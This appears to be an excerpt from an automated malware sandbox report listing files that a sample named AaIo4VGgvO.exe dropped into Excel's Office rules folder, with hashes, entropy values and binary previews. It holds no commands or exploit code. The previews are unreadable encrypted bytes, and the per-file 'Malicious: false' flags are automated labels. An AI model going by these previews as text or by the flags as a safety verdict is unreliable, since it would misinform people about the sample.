Preview:	<?xmlmNqe...A..b.....)&.N.;v-thQ.k...>...6...0.e.bJ....!D...8....3."..z.d>.P......5.s.N.Oy..<4....\|.t.k....~............7E4....<.k...lL.....9.7.?..s..{.@5..E8.T.......dq..=k...E..q..&.w....R....X..q.~M..<.B.".....g[\,.K9.e...o...&..".z..{{{.."..2>Oh.B.4r}.VQ.a\}.Zd.e.)XW....N.G..q ..U..'.......2...#........0D.....(_.......r%fU b..<.....1..KSV...X.H.6Hs.S.b...u..... .Oo.Glk..);....-._.`v.....x]...Z$3....`....y...2....r..X....k..g..S.E.r......T.>'.sYm.....e.Q..e..ep...&8.>`.Q...[......0.S?7..<Um@.m\|...Yz c.F...f....cB.M......u%.f......nL......i....J.....M.d..9.WA....>..5..........I;..G.../..........!.E...{....gC.YV.^I.b.-.kH..(C...t.;$.).S.+.0.O@c..8i...*...:..RU..H....7f.....-.)..6..k..&..V.....\.G.........^....3..H.......X_H.....Z...../t\|......'m..t..x6:>X..,<..g......}.6U]......,..e8......G...j4E.G........-.9J.7c.E.K....-.......m:N-g."..q.`.Yn8..I..Bs#../.Zr..M..3......5.l...Nm..8.A./.S.\|..y....Q.g.o.....W....^....v?.......l..P^..{C..k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.936431156315428
Encrypted:	false
SSDEEP:	48:0Cbn5/q5QW72zcAG80m+WglOYKXUUwVK6IDSH0jn0GFuA0oosGUgFvjMD:0knMaz2muOYKXyVK630jnNeGGUw7o
MD5:	950156073438F78451A5119AF01FE111
SHA1:	C7F6C9956D1AB5426CB12D8047CC362611AF0A7A
SHA-256:	B0906C5826ACA3002D21E9CBED79658ABAABD73A354B0924F128BF3D80B9DB8A
SHA-512:	9EA9C587FB3ECA5C7D7576E99B12F8623F0C150C726E614BACE5B33AF6631DE6B56EE08D6D3EC8BDE6FD0653A352BA23C6490BD6A6F7E31E70CCB545DC12A337
Malicious:	false
Preview:	<?xml<...'"...7..)S_...iVD...}..I.............N..y.n............1Rc...1.8S.Mq$...0.../.7E.....9.T...S....bg...@..T....C..3JD....w.k.o.%^jW>W[......D.@.%;...!.1AG.......u._.Iw.bd.....(...r.H.....Yt......-1.&..J.....+..1rD....9TD.[.uo........X.(?.f......j.87 ..r.W'+.uK.D>..K`z<..-.......a..CSV...v.qSD.....5N.....q........x..V-.2..8. .b.^H.$...j.....?....`/......X._tj.u.........UVo.R..'.\...Qa.C..1H.H.u4.-.uw._...>....lS..%..J..h....".;.`.....>...fBCq+...K...<yT.Oqt/R..x...GM..E3B..E .WR.>.../............T..\...$C.....DoN...{8R.<.(/...s..b..F.....e..t%....j.jjX...\|.C...k>.:..2.....V8....r>...){\J.F..b=....9..;n..6.+..1r_...K..$d.{._.D......h.2..gfm+.=..EM..[.).....C....bo.,2.-G.S.J{..1..w...}BEQ..@>.7.c..s.Ur........^..D..Y...D....!R...NHw.n....rd..q.`..}.`...^!..:..d08....KK...J.).......gR.vU....f.[E.;dV....c...+.........(Jf~..{..m.....~:.w...[Xr.j..z[..N...+.w.h...%Nt.A.,.a).A.r...PD.. ....q.&f...<..t%S~.C....wb.2........X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.90511768021299
Encrypted:	false
SSDEEP:	48:GYPooPedJazU+LIzYdpj5dae6CVC7/OLhS0pRoD:nQoP0UyEdkBSLhvR0
MD5:	1178F77D68F0141C96E80DD351B24BB6
SHA1:	BEA3417E5287C30B315E23F3D2EF75F9821C7C68
SHA-256:	406B1669CDC2BA6B4CB12E2B880001B46EFF762753A046678C9045F215A6D34D
SHA-512:	80540BB6E2BB127A9CB0383CEBCA0EFB53345AE87A4AAE4BD6D22F8C75371ED1CAC3F96201B2C1525C1CE708F9C3523BA231C27A233F57DD923B424DFF9B17B1
Malicious:	false
Preview:	<?xml...-...p.4U...v.K.kMV=s.m.u...].w......."..]z.N.Y........a...iQ.or\|.f...yi...P...Z.@..:.k5r....W...gx.k&..sf!T.\........&<.E.I..;.G.f....S..[..F...y....a.....<p.....i^.....97....A.S......b.<.......'.az......h.u.G.%...4[...o....Y..C...\|.H.E....<.V.a....z..@.........$.3......=at.0".@M....^(..Q#Jg.. ..1q..z.>.%.......8..gj].J".w.....{cCn..<....9.p......=p.._C..#..5.,.n.+...~......C!".g@x.....c.r.$7...Jc......A..O.m........o.....[K..>>..."..q]..$x.~.n@......'EIX8..?T...............S...'5......2^v/!...u.T0..\|.2.j.R....kS.dM....fd....7.}.uJ(...6$.S.z.l..I.IP..H....C.."+#...&~..',I.`.:)....^fK.J.J...`.4i...............k.F.T..ag-...s,.<!...>CL.V..}Ii)..............Y.."D .....Z.ep..u._.......+.<.......?5....0.<.. ;h1.."A....<.T{Z..OE..........5.....<p..~+F.I.Yc.....".HmWt..a7..w.............?.rvvW.r.vbUDL!...q..uV'<....#...b.q..i....N.[.P....!....<.4.. ..[..l...5....N.)...!.\....@.D^H.....N{....1..............0r....E...]1t.P.%....\.R..D.8.o.@._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.972554699595201
Encrypted:	false
SSDEEP:	192:kjZvW8XkyP6wdU168qk0h31CjB3+BHl7dhZUak7U8M2A:WW8XzPHm68qk0h31oc1dXuHA
MD5:	43AF88B02CBA6F07EB232CA5E45EFFAE
SHA1:	ADB484B809564640E98DA9885DC18F0FE7A3F16A
SHA-256:	3F9D3C28CB67AFF369D835C1920B80DD010673E98A7B328008F190EC7E38355D
SHA-512:	83E8439A993F8332B380E18F1C3FE07DB861E8D0D5CE279600CFE684BECCBD50C04389362663685CC0C45EFE0F3ADC6897384ED352A63F7B4917EFBE69B089CF
Malicious:	false
Preview:	<?xml..b...hO.W......$.......yn./E....PAv.k..A...."....{.I.P..m......A.Z9.!.w..2.}j..S....).n.O....1.A......{..)....k..c.S.z\|..}..+.?.B....x.Z.ja..M......'.L.X1....[.....).....9.{..@C.p....~.2...8.q>d.N.(P..).A._..=..?.....~...>X..gV....5g........z\|ns.n....xY.......r~...Ef.....Q.'.....!.6.....a\f.j..i&.u...0....?.k.....E.n....!.5P.w;.!.TIk...u........l.7U.5G..-...........3.r..G.i4i(.k.t>&3.)..........2)Z...Y...$%.z..ad.2....M.L.h..CwtA........m...u{.. Tc..ra}U..vr....BD[#..e.....^r..m.._.v.....q.....`[i.g...x.:. &4..g.I..1U%_....B.....Q..e..w..]..v.8.:y=...Y..x..@'b.>].@..,....s5M/yS.......F>..a..G.1.#......5..g~..[S.f\M...~..j.7P.....^....W...P.s..bV'.t..j..^R..WuW3..}>S`hlI.b.~.V..B/...L<<...m5.....]......(K{..#..55..........o.8._.<.C...W..x.lt...-.Ux...F.h..W.[1.m1...q........O:Up.q.!...}Y.mtX4..g..@o....9..v....p...r.,......O?.."...J...}q..!.<.....aTP.........U...zZ.O....4...g.U.@.)..z..+.......,gnJV....[F.......!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.948839938389551
Encrypted:	false
SSDEEP:	96:ImFGd/IhrPBOz0277pJu+omvoD+rPGJ4MHNCNHuYb:ImFG8jWPDuYvZEQNHuQ
MD5:	70B5BF328EAED074C82F9C1E68EB7023
SHA1:	8CDA467D643FA3C63040795DC6545C7F07E39367
SHA-256:	5322AE76D5E47DDCFD60325C3999B5BD1030AF881B2ADD37635713A589B6FC7B
SHA-512:	733DC3E96058A17400CA9602A5541401B55C9D88117194B7F9D6E545C9544FD6DD905E57529EA020981B2C22A05F1EA7A3487B2390C2960D621F768E18E58FC0
Malicious:	false
Preview:	<?xml..;..z.....2..u3...]..\)6....=.....,.\..={..........Qo~S..FT@$...p..X?%o.rB#....5{U_.W.DOeKx...L.TL.~i...&O+....u7...1h..x1....,..."\|.. .<......M..{....\|!..Q....[..<.Z.w..of.#K3..\|{C..gslKa..;: ....n {..........(.N.....B]..>./..%....I~../.Wg+D.f..2..5.5=.../.7$.+..ON_.....:S.`4q_...@..\|2~d]..Z.}..... .p_.X..\W....W....D.E=..n...\_.....h:.....&...,m^k..Q........7 .,....[8S.x..maw.p..~.P.......p3h;.fh.....<.+`.h{.G..)..n$.\|....$.Jh...\.......Q. :am_z(..$f.B.^...9.3...B4..u.%...o.EH.......f..:.G.1.Uu.\|..)...tD.Ol1..\...H.....p....Kb{....yQ*.fg......0..3R.O..[..D.i......(ie..cfT......y......Q._j8........?..1.4...\|.K.y.X....>J.q..y....f..K....H..-Q.E.R......r.5O(..j.....o...,.>.....i.?h._....W<...5..n.OS...Y\|.9..65..3.O..p........k.kX..&.u..~.==R...r) &....s.2.7..{..cU..lS.+x.-Uzc...a...q`.,.m.....<.&..hV....j.....w..8...)?C...J.+.7.w^w]...8....JNs."l....Gl...cYU....../gc..h...xv.'...\...uv..o...h...y.[J..!.g.$...^....."....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.960783077066155
Encrypted:	false
SSDEEP:	96:1mOMug3nFGYQsjYPN3sMBv2NNMQB78Kd6M3mkwudhrMZ6jTo:1DFg3IY1YPNcM4NNMQ196M3mkwuDMZ6o
MD5:	EE96D3C7D4615F81EF5ED56FAE8CAB11
SHA1:	AB3B8F65B9BB3C76632BC614FB2F38204C542C5D
SHA-256:	E505F51FE9E395AEE93B0C29378C89FB5D6AB41E8F411C0D482BC54CEEB593E3
SHA-512:	4E77FE46E0D1001503EF9DFA12CBC53D36DF54831466C9A1DD3258DC892C00AA691C0674F1C843F380443FD3D6F66E548E6A26B14CC3C147B478F5FA024E2485
Malicious:	false
Preview:	<?xml...7G.c...)H...a....r.;t.H"........l...M...HGw.9....?...b.Z.5..n....z..n....Udyg.....i..5..y$......n.........i.....Q...d.n...\|......\..`.~e.....DT..>.... .5...~.8..U.o.G..8.\J.v...O.pD..)Z...C..c.n.jVU.=...-..^.).k.k......1`.j.....Y...A.Y$...`..t.G.}.~/..z_^.......[.w>]..6..?0..Z..GU..~..wV._K......Z.....n.J6.Y..h...../f'.w..M.m...6.`....4.N...d-...... ....F.G]........Y....:.]!b..z`P..0..A...w0....e3k#.e.....4.@;.q...c$............c.s......B...l.....){u....#...y....i.r......k..N.).W.a...07..#..%...f...3m..!..3q-.t?\.U.bP.B.;....I....!.}.a.D......#..]......dC\t..G.r..+.~..r...oyr{t..n...D..G.Px.y.........e....../_W.U.......t\|}.+.V!;i....;3...w...}6.~..O.......O...S......Qu........[TgAt.$.. ..\s...2..`....u+.s6.&..PD..S..;."2%&.t.`.....oo.HuL^....&t..gf.C;...w.\n9............-.z]..8...h?.u..N..P.v1...A;q:R.=,..FE%...a>........XE....I...]...0,......&.....:.\....d.}C..K..[.[...\|v..Oy..;.K.~J..h.......b..$..-.x7.8.......$d2s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.947253257395173
Encrypted:	false
SSDEEP:	48:YXhykm42BscP6EwefZH8xg8gVfNYoaa0h/pdVnnksooXdR2KHfWY8cv+d0/quxA3:Yxy+2jPPwkZMgVfNYoazfVnnGylfJ8c6
MD5:	5722CA113EFCB77EB1567A9B7EFBD7B5
SHA1:	A329C52779E4E3922DDA58CECC653D19A62951E2
SHA-256:	853353BFA2C1DFB9EB1DFDE09B7F552F16D8827C007525DCBD4FB5E2EE5BCCD2
SHA-512:	18341EFF7B2E15FD8E2A93FDA8272FA823B2AD441B99059DEE7EB187E3B8EE73A769405ECBDC659604656DDAAEE2882F16AE53DD0DB613F7EC6131DE3BE28D3C
Malicious:	false
Preview:	<?xml..w..C.D...79 .....M"5&.YS.2.!..q..=..TW...Yx.......$Z...hi.6.Azu..m.KXwX.....W....."u.d=....-O.k..L.IX...A...6].I.I..u.u.......hwt.Y.s5.....in.y..F.<Z..W...3a.i..s,..2.....z.....!... .Ye...).o..7.-.2%..)@R...#^T6..%.7Gy....J...,.G]b.@...m.L%l..;....>..?.3PJB.D.6..7D..fP.h.Y>#C3E..2.?.7...>...@.7u....jLi\|...[...n.i.wC...E".Zm.....PpJI..bj.\......u....O6.,N..t_V.=....9......\|.,..2..Y.'..J.d2.rxl/..$9..>..d._..J.............2.m).6..........>../.A.S[.P@6....3.3:}R..(..tV..t..Y...c....v.`.S.-......R....../.R..W&r.'h ..\|.ch()..}...?. =.4.`.UD..... \|F..Ep.f...F .n.O/.Xv.m{..... 0.g..T...#.6...[..+......._.^.]..(...E}.X....%.}.A...Rd....h...O\.Kg.x.%..`..1..R...&..RB./h.O&Q.eF.1...".![..\|.......#/......\(..i.."H..Ew.b..9..ks......n..P...0.E...r)o.z[..!N....Yw....o....u...F.[..O0.&..}!.'........c...........2.............M.z..=j........X.../..+..$..=yrd..-.>.5......gZ.Z(l..P./S4....*H.[y.B......O...R.&.L.GV[>Zj..b..uT..7.zr..Q..7..H.q.B...2..c....U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.9704035626804
Encrypted:	false
SSDEEP:	96:mlgdjMz8NIQ4tPyOhRLoYKRXpz5gP8hghCGDjl/zwGItjjLpGztSuDbRNXazrGV:mGdjMzu4tFhRLobXpm8MDJwGcjLgoMVx
MD5:	ACD4C45F6F9AC830D4EEE89A6C3B496B
SHA1:	B2BC8B41A417CB95AFF8B93138760A1259F5810F
SHA-256:	CBBDC80EB09AE2077F2FF82B33BD18FCBC22E4385B0CF840B7EAD7A1B4832C90
SHA-512:	4A81108FE420D7F14CE75668188BAB2FD3865D57CA23BA98E0A11B970A7EB27F23A105A18AFFD9C4B6F48BB0B4FC7B305FFB329CF2249E240336085C8E4D900B
Malicious:	false
Preview:	<?xml.&.......ugU.L.G....Cdy.X.<.E.p....#.+.6..coc.~.;.V.BM...._U..D.....+..U.t............8q........6.....-......Qro.p......V.......Y...i.c...S2.GqQ.tl.i...J.....[....F.c....O..e...7...]...9.$%....-...-..[.Y......Y.^....W...#....IkV..S~I.PK..-v.v...^....){.s.,M.:C.@..P6..<.U....~.Qj..t'R.mb..l.WS.X:...uHwr..n.B.vA..EBaG:)...=F..X3...\|,w^.0.$..L%..!...1D...MSc.2.#Kf._.W.8...D...........Lt@e...a.zg.&....._}...Ap.....M.....Sq.;.J....J.8. .Wu...M.H.......b0N5...g.b..%L_6.Yp.v..ox.e.~....6P.%......Rm._.zQ9B%s-...W\N/)x. .m.....NCy'N.....C{^.Qu..H.f..Q..-hu..7/...`.<.G...)[~u.....zt..S..X}........1.w.N'`..\|.h.N.D.&..n$.2...'J.....]......K.I...U.V%.ZR..S.)%m....J,...q2x+g.q.yH.iS.5.w....d..r......;.....?o...i..7.x..5...o...J...U..wB.m..Lx.......jcSH..F.1../d..XE......{.....D..b...g..? eHd....F..Ra........F..L.8.&$...)....~....".........D+F....m.J..%..1..^.<KY..;....q.. '..}...`?.........b.,...z_.u.B.. .H.uS...q.1............Od.........D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.900617111701718
Encrypted:	false
SSDEEP:	48:IAH2GBpC9KtBtaGrI6liw9ffWeCapc6hE+4D6D:Iai9wBiw920G6hKS
MD5:	1A1D71950513D460EABE178076FE9EDF
SHA1:	7361FF400ACDEDF6FC877CD48A906C350B9ABCD4
SHA-256:	A3DAF0D8F65276E722502B1F573CE9BA9ADFA911CEEBDC2DCE4AFB2F97B84D9D
SHA-512:	A4FBC4792E5CD23D0A33AAB76F23DA9B2656F2BB24B954F70BCAF7F4B62E44E7C885805F3F0F4B39CCF4028351D7D763460B430F7D352935E3C2BAB572DA10BA
Malicious:	false
Preview:	<?xml9....F....4Y.d,R.T.cd.a..0.q..4q...;..G.m..)..Sq.Pq....ku...g.[ ..:..6G..+.Q....7..e..C..5.....+.T(z%.i?;..nHA..iF.F..h.8..C..YAS....F.dhN}34.....{1...v....5$Hq=...>..V.......z...@..NH.S.(.0T>.j.>.HP.U..!.L........\..).6.9..."....L.....m.....o..4...U...sJ6...Nid.....E..&..`L.w.......F(?.}?N.#...<.}.TMxY..b...Tp.....va...?...E.l....f..}..Q..."+(.....o.s.!am..-. .(.i@...)Z.{.$....u..._..0..Q.^..K....Q..;....S....Q6?...a.(~...h....P.Dnb........k..1%....\...}.-.G.#..v.#.QM.,..m.p......V...,o.TU....../..,.-.X../.U.BB(.............>N.q.W......C.Q....$.e.,..D......t..,9..~..w....C.AX...e...G.3t....J9C.C........a.......x...%s....D....e)z....{.8.c...a.U...#........u.X...m.7Q../........@....=S....c.\|....4....S....-_......^"y0N..J.'...yrb.+.....=.....$....[....>..[....v...?.`..q.?.....D..8.d...4.$j....Q.lA!.t-.P... .T..`P.W.&.... .`m..;1....~.O..<...$...w.Q~......amK-.$p.Q.E...FO.. .bM6................d.Ou....fi.No_A.`..z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.752695277751052
Encrypted:	false
SSDEEP:	24:M4CJ33SUmfD3DH8scTvQfRhhzUqqq47g2quVg2MCBo78UbD:M4833SUmf87vQfHhzUqqqEPNVWCBozD
MD5:	78708C477FDB1C682DCCB7A991DFEC64
SHA1:	2EE8E6338C35A1208A6183976B6F3E49F53EAC6A
SHA-256:	EBB94D0C56102003B95C400D4EFACA61FCE6FD41C3F342955BDDE16BCA92F8A6
SHA-512:	7C831E433F30C3183DDC62A547FA0D9940913D9D3B49F03EA3C808F900BBA583E33254BB3CB408AEE77EF8A26E149E31B7873C4E614095A403DD70BC69DD3785
Malicious:	false
Preview:	<?xml<F..O.\..=H.=.T....M....^..kv...J...I.H....b..q.tSC1/S7....9.'.....~.VxX....A...N..)u_.+.../.M.....G.d.......he..F...%..g..S..\|,..7)..Qp/./.C.....C<P...$...e.$x..Z.g...i.9.....1e....4.....F0+`.n....6.e.......c.=..Z..:......D.IFD8.0A<G...i:...of.$X.y....{..6.d.-...J.............sI..;I.W.^i'.cl1....CH.....kK>c.rX./'.H...U4.......2G.c..8G4..k..u2.a..-A...gn..D...@(..u"....\......0=.........M.:l.D.k..'2....W......)....G.....W@.d....g<...u...........Y.d.WuK.F 3..^%.qvc.>aED...+./l..t("....G..2`..W.n..I.Q....'..*...R.@...6.U.5\|.7=+9.\|.P...i...Q.+A..0..F\.V..]d.+./.#@BdM.b....m.......j...k..L......c..J..6#.y...P... ...V.....4...tH......[.....S9........W..4\|.....pH{.'g4q...-..~Z..$..q.bE..`.+..j.../....'..v.s.}..../wn....L......z....,v.rc.)8...XIwi:.m]....H.s..C\G.f..}A7Me..t.B^q)lJ.Jx....'{."....(`:I....d.....Q.+....2....b\|.$..>g..{1...Y...h..t. ...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.920197621367717
Encrypted:	false
SSDEEP:	48:tZtaDeVVc2kQxNY2Z4UuuOg+2drFglKnTLCQ/+ZRfBNWU8j+g1wsqolRD:FaSVVcxQj4UC2drctsyg1wklZ
MD5:	A27839E50A3F05368B94CA1E98E2433F
SHA1:	8AE0B2C3A864D666B987D363DB31FEE2C3772F09
SHA-256:	E67E1B5D1D6768AA3B57565500DB9815C954CBC64A11507A1BDA19A767C2CE9D
SHA-512:	8FA5DB01F9482D2BAFBB724C174E5B078D767901BA814889FE0271F9E3FECD989022171F10ADD5D79D98D1C8A3ABB5556E46D75162D224B47A1C25BA2BA8C1FE
Malicious:	false
Preview:	<?xml..0....Lf.\|..G.....~.O...D8o.....3....~..zE1.....P........V.?'.r..j..........E.../g.R.Hjs...h+....r.dO...^......L..../\|.zG).!I'.....8..."!...?~...F......../N.4Y0..G\|......O..-......w.......Q..c......:.`F.:J...z.L..aqxf.u..l7+.R#6...K...s.V.u.&.......G.A.#.u...j....R.$w........"M...f.E...~D...c...`m_.Ot.......W..6.X...R..`..td.LI..N.......G...&S.\........bAyD{..n\|{r.../!...DZ....w.r.J..S..\.v..-.?.X$....z..P..H.w.........NP.g....;..9....^AK....w.(...%......!w...Y!.O.WjJ.-...k..p.0.E.~9j..4...m..m...w..OEg76r8.c_.....&...,..Y..E..aL~</.....w.......A..wu..x...!7y.;.....n.7.C..Fi=.n.Q<Fj...nF.r...!S.).9...eY.H..)).,3..q}-.h.lB0....7}.I.../...Z.m@..YJ..%r..F.f...[e.T.1..U.v.+...V.E.d..U....W.._10....>......[..#..P"0._.. n/.'....-S.].Z..%...36<.4..9L.....Q.&..qR...kB.....i..z...o.{V.#...+o.b.."..M.Y..S0...."b..w.....I.Or].(-..+V........Z....y..r..].RcD>k]9T..R8.?........NQL..Q.d.R....c0...0.K.W...Q..r..... <T...bB..N3`W.T.'..w....I.W..M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.982899169793933
Encrypted:	false
SSDEEP:	192:vqmJnG5FRXU0nDMFxkysXa8XIjXAPFrHsXv8YP1wfT/hUG+wMwXS17jaNnTQM61k:vdyFRXU0nDMFxkysqHLA68SwfTWGvMqN
MD5:	A01061A33917DB04EB5C1961525A6010
SHA1:	12703962D1E0A521F5784DB662A2C3ADA09D1D68
SHA-256:	E4D650BA9FD3E9B6637668B1EA4B7D63500E2C40C243E70CFA269F4165AC65F5
SHA-512:	30788F70693E61F8EEB25FA9D2DC027B5ECFF75F93D1EFF2D25DF5AD97A0B706E89BE561091416AEB768DFB63CD889400BD04A749476A711ECED77B9D637FE12
Malicious:	false
Preview:	<?xml.....).Z..T.d;..P'...J$..=...`...<...[.......h.r}.:.....o.N..I........k.D.zd.9.e...-..9.g...JA!.'.O...}.-.l?2...w]..q.R.&.".I...c.\/..Bg.Q..NN..LZ.....E....C...g=..S...t.a(..`...:g.j.../f]@8g.j...8.4-;.8;..Z.C.....d..U.m..&.n..Hxa..!:i......K....... #..`GF..@..v]..%;zY..>._I.'..J..<.?............\.!...L.-.......,a..~..1$)..w...B.8.....E;.f.?2H.....b..v.N$...#...V..\|.=...J...9..E ...Xk.S.H@X?.I^.32...M..8.%.O......M.....}..H..j...zTU..\|e......B...o...U.S.h1'l=..}.(...m....?...l..o.Z..t/B..WZ...M#8..............?..xQ!...o..gk.9S.$b.R.....yC~..P.x.x[......._.........C...w..k.V....1..#...Ud/..-s+.Qi.#.5V~O..$........`3......h......E..>uK...-. br&Cd.......c..b...I}..sg8.6P.}..4....[.,(s.8...z. 4...sI...V.....L....{....*@B.0..'0..f......\r.jm.Ww..ur...S....\..}..7.i..~..L... '..}.......M#h........T v.PIS.`....O.qH....V.e..V.....(.h..}1..0..&.m...#.q+...5.U.M...l..cTe{Z+..J....z._..V.......x<...W/.2.L...<yW....q.Q...c)...A.t=.F....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.734966328719356
Encrypted:	false
SSDEEP:	12:FWhqQIBddi3BNyS81lx3JSybSY2xeUU1jGIfcNykwwOLFPE6gFYIytroHFC2V1+X:FpnwNk5lbS18jGi6RZYIytr8UHbD
MD5:	F5220CBA734BFAF140166F62A53AC1F3
SHA1:	6E25B2F3F203B4251845952CEB8953A12B53D2C1
SHA-256:	37ED6AAF07B676BD8CD754DA9AF04464E7C0B06F3FC123EA508400E38E9B377A
SHA-512:	C74BF17D4E9CDCB9AEE118BBD248307E3FFBC19061D8245EAE19708812F0CFC44E87225C1CA72229ECCA6CAD6D6004EBEB026721A2655E00FF43FD55BE57BCD8
Malicious:	false
Preview:	<?xml..@...e_.c.....[a.....\|......-..........He...{.....A.=\.,..'.9.}1M.#...........!........oS.K......\..l..I.1....CE...Y..J.Q.M.....Z.........g6..LW.p...[.i.gs..B.....e:.By.W........9.].# ....0.[.fA.X..e...S%^.2.T..c{./F..F+....p....cD*.8a..2..rk....;.z..:...%..7.(.I?..g.ZMh.}..!.R.d...yv.T...>JRxm..2....A...3[.....C.z..^..6nF .kl.Rf`.\.F..I..<o...i.\.(.\<.7.<..<E.W,.M!...!"..{G..5........s...f...8.)..8Y.3.Y.......X......"..?..YdBY6....G...ii.O.......>o.7.....s^....s`.G...Q..M>D".@....P.vR.M.....0..T#{x..\...../10.[.zqz...:Q\[.....6.8+]2.....>\...xy.z...l.1q..)p...Vm.P.\0.....k..# v....w-..\.s....f.......$...8.G.\V.@t.J.0....^....".R.....Ke.$.!....G.....P. ..q.m..wA).Q,5.i..0.2SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.712283860684251
Encrypted:	false
SSDEEP:	12:9voAvXXzwgkQfA4Q3taUBpZg1BZf0spMTCAIYS0dnUZ0B8l1+cii9a:NoAvXXzHZfwdaUBpZgnZMspMrIYhiY8Y
MD5:	DFE7A18865DA439C395252E6F77C08D1
SHA1:	05CAB8327330853F95445887F355EB9369743C9F
SHA-256:	1BF09B98762F6BEB10D59206C0109716573AD4F7B2811FCF279907214C7742DD
SHA-512:	D599093FE6775CCF8EE98B3845199AE084BB824799663422CEB683B643602709D04989B2BFDA9A25CF352F5CC297523F76C22979C426AD26FD6B4F8A9FB2DBF7
Malicious:	false
Preview:	<?xml.....$$..r....R.@..z.m#X..29 .....[......#3.....d..{+.x......K.Hb..2g.])....M..<.x......`....y.d..r`.q#....vxI.w}'!p...E.....-.5T@.$..yY.Q.z.K..Y<..$. .f.....`._..YNk...j..F\}.,$Utf.3..(Q...~"..}4.j:.K...C.....x,hJ..:%l...z....z.hee}V........+.u..vJ..8.....7\h....U..&\Z....E.C..<8....B.Q....^..#.r.Z.\..I.:...n......'.{.3...HF.c..y..w..EB..~....9...C.e....._.D..)c9.H..K..U.y.....Qu#........0n...8..%].<.\.p....r&.R....M...].%-$...*M...../..FVA.-.F....}T.qQ....4..7.+y}.8?-H..+.\|K.E..A:g.W..\|.R.........Z.{.e@.n..+.P.(.Y.Q~...C...^...........h#.......0t.....Z....dV{9.M.Ei=9.3O.Q.,.0...X:.>n..L....t.I.w...oo.7.r.O.....z....:L...uSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.894669632293655
Encrypted:	false
SSDEEP:	48:tnzVwAzoQNnsTHWkzDe/H+ykQTTvjl2wvD:tnppoQ9sTqAQTTLZ
MD5:	54C28748D5DB5748207336EDF8B6B3F0
SHA1:	573CA8AAB994F9684352704FB2C5E1E44DC25B6A
SHA-256:	309BF3340712580ACA8E9C19774981E7492A2B73AA253336A35E1B816702BA28
SHA-512:	901432814EC9D276715C4312326465263456D022D80C2AD7ABDA0B4C25E39B72F556FAB4323306C5DF6C1B29282E2171ED11BB3C3F518DB8669419FF7DCCDB46
Malicious:	false
